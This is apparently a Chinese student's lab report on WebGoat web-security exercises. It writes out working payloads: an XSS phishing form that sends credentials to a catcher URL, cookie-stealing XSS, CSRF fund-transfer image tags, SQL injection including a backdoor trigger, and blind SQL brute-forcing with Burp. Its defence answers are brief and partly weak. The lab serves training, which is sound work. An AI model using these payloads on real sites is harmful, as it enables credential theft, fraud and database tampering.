20145305 《网络对抗》Web安全基础实践

实践过程及结果截图

Phishing with XSS

在文本框里面写一个钓鱼网站代码就可以了

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Stored XSS Attakcs

这里相当于是给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies。

我们构造语句:

<script>alert(document.cookie);</script>

Reflected XSS Attacks

可以在此处构造js语言得到cookies

<SCRIPT>alert(document.cookie);</SCRIPT>

Cross Site Request Forgery (CSRF)

这个实践是利用cookie冒名登录,用代码伪造请求

在message里面输入 就会发出一个转钱的请求,盗取钱财。

<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>

CSRF Prompt By-Pass

这个就是利用CSRF进行冒名操作转账,填入message的代码如下:

<img src='attack?Screen=271&menu=900&transferFunds=5000' width='1' height='1'>

<img src='attack?Screen=271&menu=900&transferFunds=CONFIRM' width='1' height='1'>

Log Spoofing

利用换行符伪造一个假的日志信息,欺骗人眼

String SQL Injection

这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1

Database Backdoors

第一步,通过输入101; update employee set salary=70000来给id为101的人改工资

第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection

我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久

可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!

Blind String SQL Injection

跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破

爆破点1 是1-10 10个可能性

爆破点2 是a-z和A-Z 52个可能性

数字代表后门字母在用户名中的位置

基础问题回答

(1)SQL注入攻击原理,如何防御

攻击原理:通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的组合,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数

据,致使非法数据侵入系统

防御:利用输入规则限制进行防御,不允许特殊字符输入

(2)XSS攻击的原理,如何防御

攻击原理:是一种网站应用程序的安全漏洞攻击,是代码注入的一种

防御:对用户输入的数据进行合法性验证,对输入参数进行过滤,与可执行代码、特殊字符相关的不允许通过

(3)CSRF攻击原理,如何防御

攻击原理:对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站

防御:定时清理COOKIE,尽量避免访问危险网站

实践总结与体会

最后一次实验了,完美

posted on 2017-05-15 18:31  20145305解佳玲  阅读(163)  评论(0编辑  收藏  举报